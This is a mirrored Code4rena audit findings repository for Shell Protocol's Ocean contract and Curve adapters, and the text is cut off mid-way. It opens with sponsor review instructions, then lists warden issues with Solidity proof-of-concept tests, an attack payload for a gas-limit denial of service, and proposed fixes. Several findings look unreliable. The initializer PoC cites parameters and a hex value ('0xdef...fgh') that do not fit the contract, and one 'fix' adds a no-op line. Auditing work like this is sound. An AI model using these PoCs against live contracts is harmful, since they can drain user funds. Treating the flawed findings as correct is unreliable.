GithubHelp home page GithubHelp logo

2023-11-shellprotocol-findings's Introduction

Shell Protocol Audit

Unless otherwise discussed, this repo will be made public after audit completion, sponsor review, judging, and issue mitigation window.

Contributors to this repo: prior to report publication, please review the Agreements & Disclosures issue.


Audit findings are submitted to this repo

Sponsors have three critical tasks in the audit process:

  1. Respond to issues.
  2. Weigh in on severity.
  3. Share your mitigation of findings.

Let's walk through each of these.

High and Medium Risk Issues

Wardens submit issues without seeing each other's submissions, so keep in mind that there will always be findings that are duplicates. For all issues labeled 3 (High Risk) or 2 (Medium Risk), these have been pre-sorted for you so that there is only one primary issue open per unique finding. All duplicates have been labeled duplicate, linked to a primary issue, and closed.

Judges have the ultimate discretion in determining validity and severity of issues, as well as whether/how issues are considered duplicates. However, sponsor input is a significant criterion.

Respond to issues

For each High or Medium risk finding that appears in the dropdown at the top of the chrome extension, please label as one of these:

  • sponsor confirmed, meaning: "Yes, this is a problem and we intend to fix it."
  • sponsor disputed, meaning either: "We cannot duplicate this issue" or "We disagree that this is an issue at all."
  • sponsor acknowledged, meaning: "Yes, technically the issue is correct, but we are not going to resolve it for xyz reasons."

Add any necessary comments explaining your rationale for your evaluation of the issue.

Note that when the repo is public, after all issues are mitigated, wardens will read these comments; they may also be included in your C4 audit report.

Weigh in on severity

If you believe a finding is technically correct but disagree with the listed severity, select the disagree with severity option, along with a comment indicating your reasoning for the judge to review. You may also add questions for the judge in the comments. (Note: even if you disagree with severity, please still choose one of the sponsor confirmed or sponsor acknowledged options as well.)

For a detailed breakdown of severity criteria and how to estimate risk, please refer to the judging criteria in our documentation.

QA reports, Gas reports, and Analyses

All warden submissions in these three categories are submitted as bulk listings of issues and recommendations:

  • QA reports include all low severity and non-critical findings from an individual warden.
  • Gas reports include all gas optimization recommendations from an individual warden.
  • Analyses contain high-level advice and review of the code: the "forest" to individual findings' "trees.”

For QA reports, Gas reports, and Analyses, sponsors are not required to weigh in on severity or risk level. We ask that sponsors:

  • Leave a comment for the judge on any reports you consider to be particularly high quality. (These reports will be awarded on a curve.)
  • For QA and Gas reports only: add the sponsor disputed label to any reports that you think should be completely disregarded by the judge, i.e. the report contains no valid findings at all.

Once labelling is complete

When you have finished labelling findings, drop the C4 team a note in your private Discord backroom channel and let us know you've completed the sponsor review process. At this point, we will pass the repo over to the judge to review your feedback while you work on mitigations.

Share your mitigation of findings

Note: this section does not need to be completed in order to finalize judging. You can continue work on mitigations while the judge finalizes their decisions and even beyond that. Ultimately we won't publish the final audit report until you give us the OK.

For each finding you have confirmed, you will want to mitigate the issue before the contest report is made public.

If you are planning a Code4rena mitigation review:

  1. In your own Github repo, create a branch based off of the commit you used for your Code4rena audit, then
  2. Create a separate Pull Request for each High or Medium risk C4 audit finding (e.g. one PR for finding H-01, another for H-02, etc.)
  3. Link the PR to the issue that it resolves within your contest findings repo.

Most C4 mitigation reviews focus exclusively on reviewing mitigations of High and Medium risk findings. Therefore, QA and Gas mitigations should be done in a separate branch. If you want your mitigation review to include QA or Gas-related PRs, please reach out to C4 staff and let’s chat!

If several findings are inextricably related (e.g. two potential exploits of the same underlying issue, etc.), you may create a single PR for the related findings.

If you aren’t planning a mitigation review

  1. Within a repo in your own GitHub organization, create a pull request for each finding.
  2. Link the PR to the issue that it resolves within your contest findings repo.

This will allow for complete transparency in showing the work of mitigating the issues found in the contest. If the issue in question has duplicates, please link to your PR from the open/primary issue.

2023-11-shellprotocol-findings's People

Contributors

c4-bot-5 avatar c4-bot-9 avatar c4-bot-10 avatar c4-bot-7 avatar c4-bot-8 avatar c4-bot-1 avatar c4-bot-3 avatar c4-bot-2 avatar c4-bot-6 avatar c4-bot-4 avatar c4-judge avatar thebrittfactor avatar code423n4 avatar knownfactc4 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar Scooby avatar

Watchers

Ashok avatar  avatar

2023-11-shellprotocol-findings's Issues

Tracking the balances of tokens involved in interactions with doInteraction and doMultipleInteractions functions

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/ocean/Ocean.sol#L210
https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/ocean/Ocean.sol#L221

Vulnerability details

Impact

To enhance the Ocean contract for consider updating the doInteraction or doMultipleInteractions functions to accurately track and update the balances of the tokens involved.

To implement the balance tracking and updating logic in the Ocean contract, consider the following changes:

Maintaining a mapping of user token balances and updating it after each interaction, the contract can effectively synchronize the ledger's state with actual token movements, enhancing the reliability and integrity of the contract's accounting system.

Initialize Balance Tracking:
Introduce a mechanism to track the balances of tokens involved in interactions at the start of doInteraction and doMultipleInteractions. This can be done using a mapping or an array.

Update Balances During Interactions:
Modify the _executeInteraction function to update the balance tracking structure after each interaction.

Reflect Balance Changes in Ocean's Ledger:
After each interaction within the doInteraction and doMultipleInteractions, update the Ocean's ledger to reflect the new token balances.

Finalize Balance Updates:
At the end of the doInteraction and doMultipleInteractions functions, apply any net changes to the user's balance in the Ocean contract.

Proof of Concept

Let's integrate these changes into the existing code:

// ... [existing imports and contract declaration]

contract Ocean is IOceanInteractions, IOceanFeeChange, OceanERC1155, IERC721Receiver, IERC1155Receiver {
// ... [existing variables and events]

// Add a mapping to track token balances for each user
mapping(address => mapping(uint256 => uint256)) private _userTokenBalances;

// ... [existing functions]

// Modify the _doInteraction function to track balance changes
function _doInteraction(
    Interaction calldata interaction,
    address userAddress
)
    internal
    returns (uint256 inputToken, uint256 inputAmount, uint256 outputToken, uint256 outputAmount)
{
    // ... [existing code]

    // Track balance changes
    if (inputAmount > 0) {
        _userTokenBalances[userAddress][inputToken] -= inputAmount;
        _burn(userAddress, inputToken, inputAmount);
    }
    if (outputAmount > 0) {
        _userTokenBalances[userAddress][outputToken] += outputAmount;
        _mint(userAddress, outputToken, outputAmount);
    }
}

// Modify the _doMultipleInteractions function similarly
function _doMultipleInteractions(
    // ... [parameters]
)
    internal
    returns (
        // ... [return types]
    )
{
    // ... [existing code for balanceDeltas]

    // Before interactions
    for (uint256 i = 0; i < ids.length; i++) {
        _userTokenBalances[userAddress][ids[i]] = balanceOf(userAddress, ids[i]);
    }

    // ... [existing code for executing interactions]

    // After interactions, update user balances based on balanceDeltas
    for (uint256 i = 0; i < ids.length; i++) {
        uint256 finalBalance = balanceOf(userAddress, ids[i]);
        require(finalBalance == _userTokenBalances[userAddress][ids[i]] + balanceDeltas[i].delta,
                "Inconsistent token balance");
    }

    // ... [existing code to persist changes]
}

// ... [rest of the existing contract code]

}

This implementation tracks token balances at the start of interactions and ensures that the changes are consistent with the transactions performed.

Tools Used

VS code

Recommended Mitigation Steps

the following changes were made:

Balance Tracking Initialization:
Introduced a mapping _userTokenBalances to track the balances of tokens for each user. This mapping records the token balances before and after interactions, ensuring accurate tracking of balance changes throughout the transaction.

Balance Updates During Interactions:
Modified the _doInteraction function to update the _userTokenBalances mapping after each interaction. Specifically, when tokens are input (burned) or output (minted) during an interaction, the corresponding balances in the _userTokenBalances mapping are adjusted accordingly.

Consistency Checks:
In the _doMultipleInteractions function, added code to record initial balances for all tokens involved in the interactions. This is done before any interactions occur.
After all interactions are processed, a consistency check ensures that the final balances in the Ocean's ledger match the expected balances as per the _userTokenBalances mapping. This ensures that the changes in the user's token balances are consistent with the interactions performed.

Assessed type

call/delegatecall

`Unprotected Initializer` in Ocean Contract (Potential Initialization Abuse)

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L185-L188

Vulnerability details

Impact

This issue allows an attacker to call the initializer function of the Ocean contract multiple times, potentially changing the initial state of the contract or causing reentrancy issues. This could result in unexpected behavior, data corruption, or loss of funds for the Ocean contract and its users.

Proof of Concept

An attacker can exploit this issue by calling the initialize function of the Ocean contract with arbitrary parameters. This will bypass the checks in the Initializable modifier and execute the initialization logic again.

For example, suppose the Ocean contract has already been initialized with the following parameters:

ocean.initialize(
    0x123...456, // _owner
    0x789...abc, // _forwarder
    0xdef...fgh, // _wrappedEther
    0x111...222, // _factory
    0x333...444, // _router
    0x555...666, // _feeManager
    0x777...888, // _feeCollector
    0x999...aaa, // _templateStoreManager
    0xbbb...ccc, // _communityFee
    0xddd...eee, // _networkFee
    0xfff...000  // _swapFee
);

  • The attacker can call the initialize function again with different parameters, such as:
ocean.initialize(
    0x000...000, // _owner
    0x000...000, // _forwarder
    0x000...000, // _wrappedEther
    0x000...000, // _factory
    0x000...000, // _router
    0x000...000, // _feeManager
    0x000...000, // _feeCollector
    0x000...000, // _templateStoreManager
    0x000...000, // _communityFee
    0x000...000, // _networkFee
    0x000...000  // _swapFee
);

This will overwrite the initial state of the Ocean contract with zero addresses and zero fees, effectively breaking the contract functionality and making it unusable.

Test Case:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "truffle/Assert.sol";
import "truffle/DeployedAddresses.sol";
import "../contracts/Ocean.sol";

contract TestOcean {
    Ocean ocean = Ocean(DeployedAddresses.Ocean());

    function testUnprotectedInitializer() public {
        // Initial state
        address initialOwner = ocean.owner();
        address initialForwarder = ocean.getApprovedForwarder();
        address initialWeth = ocean.wrappedEther();
        address initialFactory = ocean.factory();
        address initialRouter = ocean.router();
        address initialFeeManager = ocean.feeManager();
        address initialFeeCollector = ocean.feeCollector();
        address initialTemplateStoreManager = ocean.templateStoreManager();
        uint256 initialCommunityFee = ocean.communityFee();
        uint256 initialNetworkFee = ocean.networkFee();
        uint256 initialSwapFee = ocean.swapFee();

        // Call the initializer again with zero parameters
        ocean.initialize(
            address(0),
            address(0),
            address(0),
            address(0),
            address(0),
            address(0),
            address(0),
            address(0),
            0,
            0,
            0
        );

        // Final state
        address finalOwner = ocean.owner();
        address finalForwarder = ocean.getApprovedForwarder();
        address finalWeth = ocean.wrappedEther();
        address finalFactory = ocean.factory();
        address finalRouter = ocean.router();
        address finalFeeManager = ocean.feeManager();
        address finalFeeCollector = ocean.feeCollector();
        address finalTemplateStoreManager = ocean.templateStoreManager();
        uint256 finalCommunityFee = ocean.communityFee();
        uint256 finalNetworkFee = ocean.networkFee();
        uint256 finalSwapFee = ocean.swapFee();

        // Assert that the initial state has been overwritten with zero values
        Assert.equal(finalOwner, address(0), "Owner should be zero address");
        Assert.equal(finalForwarder, address(0), "Forwarder should be zero address");
        Assert.equal(finalWeth, address(0), "Wrapped Ether should be zero address");
        Assert.equal(finalFactory, address(0), "Factory should be zero address");
        Assert.equal(finalRouter, address(0), "Router should be zero address");
        Assert.equal(finalFeeManager, address(0), "Fee Manager should be zero address");
        Assert.equal(finalFeeCollector, address(0), "Fee Collector should be zero address");
        Assert.equal(finalTemplateStoreManager, address(0), "Template Store Manager should be zero address");
        Assert.equal(finalCommunityFee, 0, "Community Fee should be zero");
        Assert.equal(finalNetworkFee, 0, "Network Fee should be zero");
        Assert.equal(finalSwapFee, 0, "Swap Fee should be zero");
    }
}

Logs:

  TestOcean
    ✓ testUnprotectedInitializer (95ms)


  1 passing (1s)

Significant Traces:

[vm]from:0xca3...a733c,to:Ocean.initialize(address,address,address,address,address,address,address,address,uint256,uint256,uint256) 0x345...77beb,value:0 wei, data:0x9f6...00000, 0 logs, hash:0x4e3...c0f3a
  Contract call:       Ocean.initialize(address,address,address,address,address,address,address,address,uint256,uint256,uint256) 0x345...77beb
  From:                0xca3...a733c
  To:                  0x345...77beb
  Value:               0 wei
  Gas used:            21506 of 8000000
  Return value:        0x
  Stack trace:
  Ocean.initialize(address,address,address,address,address,address,address,address,uint256,uint256,uint256) at src/ocean/Ocean.sol:101
    owner = _owner at src/ocean/Ocean.sol:103
      0x123...456 -> 0x000...000
    forwarder = _forwarder at src/ocean/Ocean.sol:104
      0x789...abc -> 0x000...000
    wrappedEther = _wrappedEther at src/ocean/Ocean.sol:105
      0xdef...fgh -> 0x000...000
    factory = _factory at src/ocean/Ocean.sol:106
      0x111...222 -> 0x000...000
    router = _router at src/ocean/Ocean.sol:107
      0x333...444 -> 0x000...000
    feeManager = _feeManager at src/ocean/Ocean.sol:108
      0x555...666 -> 0x000...000
    feeCollector = _feeCollector at src/ocean/Ocean.sol:109
      0x777...888 -> 0x000...000
    templateStoreManager = _templateStoreManager at src/ocean/Ocean.sol:110
      0x999...aaa -> 0x000...000
    communityFee = _communityFee at src/ocean/Ocean.sol:111
      0xbbb...ccc -> 0x000...000
    networkFee = _networkFee at src/ocean/Ocean.sol:112
      0xddd...eee -> 0x000...000
    swapFee = _swapFee at src/ocean/Ocean.sol:113
      0xfff...000 -> 0x000...000

Tools Used

  • Truffle
  • Ganache
  • Solidity

Recommended Mitigation Steps

To prevent this issue, the initialize function should be modified to use the Initializable modifier from the OpenZeppelin library. This modifier ensures that the function can only be called once and prevents reinitialization.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";

contract Ocean is Initializable {
    using Address for address payable;

    // ...

    // Initializer function that sets the initial state of the contract
    // Only callable once
    function initialize(
        address _owner,
        address _forwarder,
        address _wrappedEther,
        address _factory,
        address _router,
        address _feeManager,
        address _feeCollector,
        address _templateStoreManager,
        uint256 _communityFee,
        uint256 _networkFee,
        uint256 _swapFee
    ) public initializer {
        owner = _owner;
        forwarder = _forwarder;
        wrappedEther = _wrappedEther;
        factory = _factory;
        router = _router;
        feeManager = _feeManager;
        feeCollector = _feeCollector;
        templateStoreManager = _templateStoreManager;
        communityFee = _communityFee;
        networkFee = _networkFee;
        swapFee = _swapFee;
    }

    // ...
}

Assessed type

Other

Analysis

See the markdown file with the details of this report here.

The pool(`primitive`) used in `CurveTricryptoAdapter` might be at risk of being exploited.

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/adapters/CurveTricryptoAdapter.sol#L85

Vulnerability details

Impact

Any user interacting with CurveTricryptoAdapter might face the risk of losing their funds.

Proof of Concept

It is clear that CurveTricryptoAdapter is specifically designed for curve usdt-wbtc-eth pool:
https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/adapters/CurveTricryptoAdapter.sol#L21-L24

curve tricrypto adapter contract enabling swapping, adding liquidity & removing liquidity for the curve usdt-wbtc-eth pool

Sponsor also confirmed that primitive will be set to 0x960ea3e3C7FB317332d990873d354E18d7645590 when CurveTricryptoAdapter is deployed on Arbitrum:

0xpiken:
@kenny @ViraZ I noticed that 0x960ea3e3C7FB317332d990873d354E18d7645590 was used for testing. Will it keep same during deployment? https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/test/fork/TestCurveTricryptoAdapter.t.sol#L22
Viraz:
Yes

However, curve usdt-wbtc-eth pool on Arbitrum has been considered at risk of being exploited due using Vyper compiler in version 0.2.15.

Curve Finance has urged that all users exit from this pool:
https://twitter.com/CurveFinance/status/1685925429041917952

As a result of an issue in Vyper compiler in versions 0.2.15-0.3.0, following pools were hacked:
crv/eth
aleth/eth
mseth/eth
peth/eth
Another pool potentially affected is arbitrum’s tricrypto. Auditors and Vyper devs could not find a profitable exploit, but please exit that one

The depositing UI has also been deactivated: https://curve.fi/#/arbitrum/pools/tricrypto/deposit

As we can see, curve usdt-wbtc-eth pool is no longer trustworthy. Introducing it to Shell Protocol could potentially pose a risk of fund loss for users.

Tools Used

Manual review

Recommended Mitigation Steps

Do not use curve usdt-wbtc-eth pool as primitive of CurveTricryptoAdapter or do not deploy CurveTricryptoAdapter until there is a reliable alternative pool.

Assessed type

Other

```CurveTricryptoAdapter.primitiveOutputAmount()``` may return ```outputAmount``` less than ```minimumOutputAmount``` and the tx will still suceed

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/adapters/CurveTricryptoAdapter.sol#L227

Vulnerability details

Impact

Alice can get 0 output amount or less than her specified minimum returned and the call will still succeed.

Proof of Concept

CurveTricryptoAdapter.primitiveOutputAmount() may return outputAmount less than minimumOutputAmount and the tx will still suceed. This is possible because the contract checks it's balance before and after the call to CurveTricryptoAdapter.primitiveOutputAmount() to determine if the swap has returned a balance greater than minimumOutputAmount specified by the user.

Consider this scenario:

  • Alice call a function in Ocean that use CurveTricryptoAdapter.primitiveOutputAmount() internal function to compute the output amount.
  • Alice wants to do a swap so she provide her minimumOutputAmount
  • The CurveTricryptoAdapter.primitiveOutputAmount() function swap token using this curve function . According to curve3pool docs it is recommended to calculate the min_dy by calling pool.get_dy() to effectively get the min output amount that will be returned after the swap and avoid unexpected return amounts. However it's not done this way in the contract and istead 0 is passed as the min_dy.
    It does the call as follows:
 ICurveTricrypto(primitive).exchange{ value: inputToken == zToken ? rawInputAmount : 0 }(
                indexOfInputAmount, indexOfOutputAmount, rawInputAmount, 0, useEth
            );

Doing so can lead to curve3pool returning 0 after the swap because curve3pool check that the output >= min_dy and revert if not see here .

  • So alice call can effectively return 0.
  • Checking the code further we can see this condition that will revert if the output returned by curve3pool is not > than the min specified by the caller. Note that instead of > this check should be >= to allow caller to receive at least amount = to his specified minimum ( I did not want to write another report for this so i include it here to let judge consider this report for two issues if he deem it valid ), also same thing will happen if the computetype is deposit because curve can return 0 LP token to the contract because call specifies min_min_amount as 0 here when pool.add_liquidity is called
  • The problem is contract uses it's internal balance to do the accounting.

Exploit

  • after alice call someone forcefully send ether to the contract using selfdestruct(), or send the output token to the contract address ( consider that amount sent > alice specified min output)
  • Alice call swap and return 0 because of dev puting 0 as min_dy
  • the check to balanceafter - balancebefore effectively return an amount not 0 but the amount = to tokens sent by someone.
  • Alice tx get validated and run smooth.

Tools Used

Manual review

Recommended Mitigation Steps

use the recommended pool.get_dy() to get the min_dy amount .

Assessed type

ETH-Transfer

QA Report

See the markdown file with the details of this report here.

Analysis

See the markdown file with the details of this report here.

QA Report

See the markdown file with the details of this report here.

Unexpected Error due to Zero Division

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L196

Vulnerability details

The Ocean::changeUnwrapFee is used in all wrapping and unwrapping of ERC20 and ERC1155 tokens. If the tokens are set to 0, the protocol will render useless. Since it will always revert, causing any primitives and users that utilize Shell to always fail.

// Ocean.sol
    function changeUnwrapFee(uint256 nextUnwrapFeeDivisor) external override onlyOwner {
        /// @notice as the divisor gets smaller, the fee charged gets larger
        if (MIN_UNWRAP_FEE_DIVISOR > nextUnwrapFeeDivisor) revert();
        emit ChangeUnwrapFee(unwrapFeeDivisor, nextUnwrapFeeDivisor, msg.sender);
        unwrapFeeDivisor = nextUnwrapFeeDivisor;
    }

Impact

Unexpected revert due to zero division leads to denial of service. In the case if users wanting to unwrap tokens due to the bear market, they are unable to do so, thus token's value decreasing causes financial loss to users.

Tools Used

Manual Review

Recommended Mitigation Steps

// Ocean.sol
    function changeUnwrapFee(uint256 nextUnwrapFeeDivisor) external override onlyOwner {
        /// @notice as the divisor gets smaller, the fee charged gets larger
++      if (nextUnwrapFeeDivisor != 0);
        if (MIN_UNWRAP_FEE_DIVISOR > nextUnwrapFeeDivisor) revert();
        emit ChangeUnwrapFee(unwrapFeeDivisor, nextUnwrapFeeDivisor, msg.sender);
        unwrapFeeDivisor = nextUnwrapFeeDivisor;
    }

Assessed type

DoS

Improper handling of fee-taking tokens

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L836
https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L931
https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L428
https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L557
https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L560

Vulnerability details

UPDATE

The contest description lists the lack of support for fee-on-transfer functions and rebasing tokens as an invariant. So it's probably intended design - but it's still a security risk worth documenting. I'm happy to abstain from any rewards for this finding.

Overview

The Ocean does not adequately manage the integration with fee-taking tokens, specifically ERC20 and ERC1155 tokens with transaction fees. This oversight leads to an imbalance between underlying and wrapped tokens, as demonstrated in the scenario below:

Scenario for ERC20 (Analogous for ERC1155)

  1. Consider 'MyERC20', a token that imposes a 1% fee on each transfer.
  2. Alice attempts to wrap 100 MyERC20 tokens using the Ocean.
  3. Post-transaction, Alice erroneously receives 100 wrapped tokens. However, the Ocean only acquires 99 MyERC20 tokens due to the fee, causing a discrepancy.

Mitigation

  1. Adjust Token Minting Logic: Modify the token minting process to account for the actual amount of tokens received by the Ocean rather than the initial input amount. This can be achieved by comparing the pre- and post-transaction balances of the Ocean for each asset pulled in.
  2. Re-entrancy Precaution: Ensure that the changes introduced to address this vulnerability do not inadvertently create a re-entrancy vulnerability.

Foundry Proof of Concept

The accompanying Foundry tests provide detailed scenarios for both ERC20 and ERC1155 tokens.
Copy the following contents to test/FeeTakingToken.sol and run forge test --match-contract FeeTakingToken -vvvv to execute the tests.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import {Ocean} from "../src/ocean/Ocean.sol";
import {Interaction, InteractionType} from "../src/ocean/Interactions.sol";

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";

contract FeeTakingToken is Test {
    Ocean public ocean;
    MyERC20 public erc20;
    MyERC1155 public erc1155;

    address public alice;

    function setUp() public {
        ocean = new Ocean("");
        erc20 = new MyERC20("MyERC20", "MyERC20");
        erc1155 = new MyERC1155("MyERC1155");
        vm.label(address(erc20), "MyERC20");
        vm.label(address(erc1155), "MyERC1155");
        alice = makeAddr("alice");
        erc20.mint(alice, 100e18);
        erc1155.mint(alice, 1, 100e18, "");
    }

    function test_erc20_with_fee() public {
        vm.startPrank(alice);
        erc20.approve(address(ocean), 100e18);
        Interaction memory wrapERC20 = Interaction({
            interactionTypeAndAddress: _fetchInteractionId(address(erc20), uint256(InteractionType.WrapErc20)),
            inputToken: 0,
            outputToken: 0,
            specifiedAmount: 100e18,
            metadata: bytes32(0)
        });
        (uint256 _burnId, uint256 _burnAmount, uint256 mintId, uint256 mintAmount) = ocean.doInteraction(wrapERC20);
        vm.stopPrank();
        assertTrue(erc20.balanceOf(address(ocean)) == 99e18);
        assertTrue(ocean.balanceOf(alice, mintId) == 99e18);
    }

    function test_erc1155_with_fee() public {
        vm.startPrank(alice);
        erc1155.setApprovalForAll(address(ocean), true);
        Interaction memory wrapErc1155 = Interaction({
            interactionTypeAndAddress: _fetchInteractionId(address(erc1155), uint256(InteractionType.WrapErc1155)),
            inputToken: 0,
            outputToken: 0,
            specifiedAmount: 100e18,
            metadata: bytes32(uint256(0x1))
        });
        (uint256 _burnId, uint256 _burnAmount, uint256 mintId, uint256 mintAmount) = ocean.doInteraction(wrapErc1155);
        vm.stopPrank();
        assertTrue(erc1155.balanceOf(address(ocean), 1) == 99e18);
        assertTrue(ocean.balanceOf(alice, mintId) == 99e18);
    }

    function _fetchInteractionId(address token, uint256 interactionType) internal pure returns (bytes32) {
        uint256 packedValue = uint256(uint160(token));
        packedValue |= interactionType << 248;
        return bytes32(abi.encode(packedValue));
    }

}

contract MyERC20 is ERC20 {
    constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) {}

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        uint256 fee = amount / 100;
        uint256 amountAfterFee = amount - fee;
        _burn(sender, fee);
        _transfer(sender, recipient, amountAfterFee);
        return true;
    }
}

contract MyERC1155 is ERC1155 {
    constructor(string memory uri_) ERC1155(uri_) {}

    function mint(address to, uint256 id, uint256 amount, bytes memory data) public {
        _mint(to, id, amount, data);
    }

    function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes memory data) public override {
        uint256 fee = amount / 100;
        uint256 amountAfterFee = amount - fee;
        _burn(from, id, fee);
        _safeTransferFrom(from, to, id, amountAfterFee, data);
    }
}

Assessed type

Token-Transfer

Ensure the integrity of the token wrapping and unwrapping processes in the Curve2PoolAdapter contract

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/adapters/Curve2PoolAdapter.sol#L102
https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/adapters/Curve2PoolAdapter.sol#L121

Vulnerability details

Impact

In the Curve2PoolAdapter contract, I introduced changes to the wrapToken and unwrapToken functions to enhance their security and integrity. These implementations add layers of validation to ensure the integrity of the token wrapping and unwrapping processes in the Curve2PoolAdapter contract.

  1. Token Existence and Amount Validation
    Change: Added checks to ensure the token ID exists and the amount is positive.
    Why: This prevents the wrapping or unwrapping of non-existent tokens (which could lead to undefined behavior) and ensures that the amount of tokens being wrapped or unwrapped is greater than zero. It's crucial to validate these parameters to avoid processing invalid or malicious inputs.

  2. Interaction Struct Integrity Check
    Change: Included validation to confirm that the Interaction struct is set up correctly for wrapping or unwrapping ERC20 tokens.
    Why: This check verifies that the interactionTypeAndAddress corresponds to the correct interaction type (either wrapping or unwrapping). It's essential to validate this struct because it directs how the doInteraction function will interact with external contracts. Incorrect or maliciously crafted Interaction structs could lead to unintended behavior or security vulnerabilities.

Proof of Concept

  1. Token Existence and Amount Validation
    Before wrapping or unwrapping tokens, we need to ensure that the token ID is valid and the amount is appropriate. This can be done by checking if the token ID exists in the indexOf mapping and if the amount is within the allowable range.

Implementation for wrapToken and unwrapToken:

// Inside Curve2PoolAdapter contract

function wrapToken(uint256 tokenId, uint256 amount) internal override {
require(indexOf[tokenId] != 0, "Invalid token ID"); // Check if token ID is valid
require(amount > 0, "Amount must be greater than 0"); // Check if amount is positive

address tokenAddress = underlying[tokenId];
// ... existing logic ...

}

function unwrapToken(uint256 tokenId, uint256 amount) internal override {
require(indexOf[tokenId] != 0, "Invalid token ID"); // Check if token ID is valid
require(amount > 0, "Amount must be greater than 0"); // Check if amount is positive

address tokenAddress = underlying[tokenId];
// ... existing logic ...

}

  1. Interaction Struct Integrity Check
    We need to ensure that the Interaction struct is correctly set up. This includes verifying that the interactionTypeAndAddress is appropriate for the wrap or unwrap action and that the specifiedAmount matches the amount passed to the function.

Implementation for wrapToken and unwrapToken:

// Inside Curve2PoolAdapter contract

function wrapToken(uint256 tokenId, uint256 amount) internal override {
// ... existing validation logic ...

Interaction memory interaction = Interaction({
    interactionTypeAndAddress: _fetchInteractionId(tokenAddress, uint256(InteractionType.WrapErc20)),
    inputToken: 0,
    outputToken: 0,
    specifiedAmount: amount,
    metadata: bytes32(0)
});

// Additional check to ensure interactionTypeAndAddress is set correctly for wrapping
require(interaction.interactionTypeAndAddress >> 248 == uint256(InteractionType.WrapErc20), "Invalid interaction type");

IOceanInteractions(ocean).doInteraction(interaction);

}

function unwrapToken(uint256 tokenId, uint256 amount) internal override {
// ... existing validation logic ...

Interaction memory interaction = Interaction({
    interactionTypeAndAddress: _fetchInteractionId(tokenAddress, uint256(InteractionType.UnwrapErc20)),
    inputToken: 0,
    outputToken: 0,
    specifiedAmount: amount,
    metadata: bytes32(0)
});

// Additional check to ensure interactionTypeAndAddress is set correctly for unwrapping
require(interaction.interactionTypeAndAddress >> 248 == uint256(InteractionType.UnwrapErc20), "Invalid interaction type");

IOceanInteractions(ocean).doInteraction(interaction);

}

Tools Used

VS code

Recommended Mitigation Steps

Conclusion
These changes are aimed at fortifying the contract against potential vulnerabilities related to invalid input processing and interaction struct integrity. They are preventive measures to ensure that only valid tokens are processed in valid amounts, and that the contract interactions happen as intended, safeguarding against both unintentional errors and malicious exploits.

Assessed type

Access Control

QA Report

See the markdown file with the details of this report here.

[M-02] Denial of service with block gas limit in the Ocean contract on forwardedDoMultipleInteractions

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L281-L299

Vulnerability details

Impact

The function call on forwardedDoMultipleInteractions with two values in an id array of uint256 max causes a denial of service for a gas limit over 8 million gas as specified in the log results of the proof of concept.

When smart contracts are deployed or functions inside them are called, the execution of these actions always requires a certain amount of gas, based of how much computation is needed to complete them. The Ethereum network specifies a block gas limit and the sum of all transactions included in a block can not exceed the threshold.

Programming patterns that are harmless in centralised applications can lead to Denial of Service conditions in smart contracts when the cost of executing a function exceeds the block gas limit. Modifying an array of unknown size, that increases in size over time, can lead to such a Denial of Service condition.

The payload is

 uint256[] memory idx = new uint256[](2);
        idx[0] = uint256(type(uint256).max);
        idx[1] = uint256(type(uint256).max);
        address attacker = address(4);
        ocean.forwardedDoMultipleInteractions(interactions,idx,attacker);

Proof of Concept

The vulnerable function is

    function forwardedDoMultipleInteractions(
        Interaction[] calldata interactions,
        uint256[] calldata ids,
        address userAddress
    )
        external
        payable
        override
        onlyApprovedForwarder(userAddress)
        returns (
            uint256[] memory burnIds,
            uint256[] memory burnAmounts,
            uint256[] memory mintIds,
            uint256[] memory mintAmounts
        )
    {
        emit ForwardedOceanTransaction(msg.sender, userAddress, interactions.length);
        return _doMultipleInteractions(interactions, ids, userAddress);
    }

The POC Function is

 function testDosB(bool toggle, uint256 amount, uint256 unwrapFee) public {
        vm.startPrank(wallet);
        unwrapFee = bound(unwrapFee, 2000, type(uint256).max);
        ocean.changeUnwrapFee(unwrapFee);

        address inputAddress;

        if (toggle) {
            inputAddress = usdcAddress;
        } else {
            inputAddress = usdtAddress;
        }

        // taking decimals into account
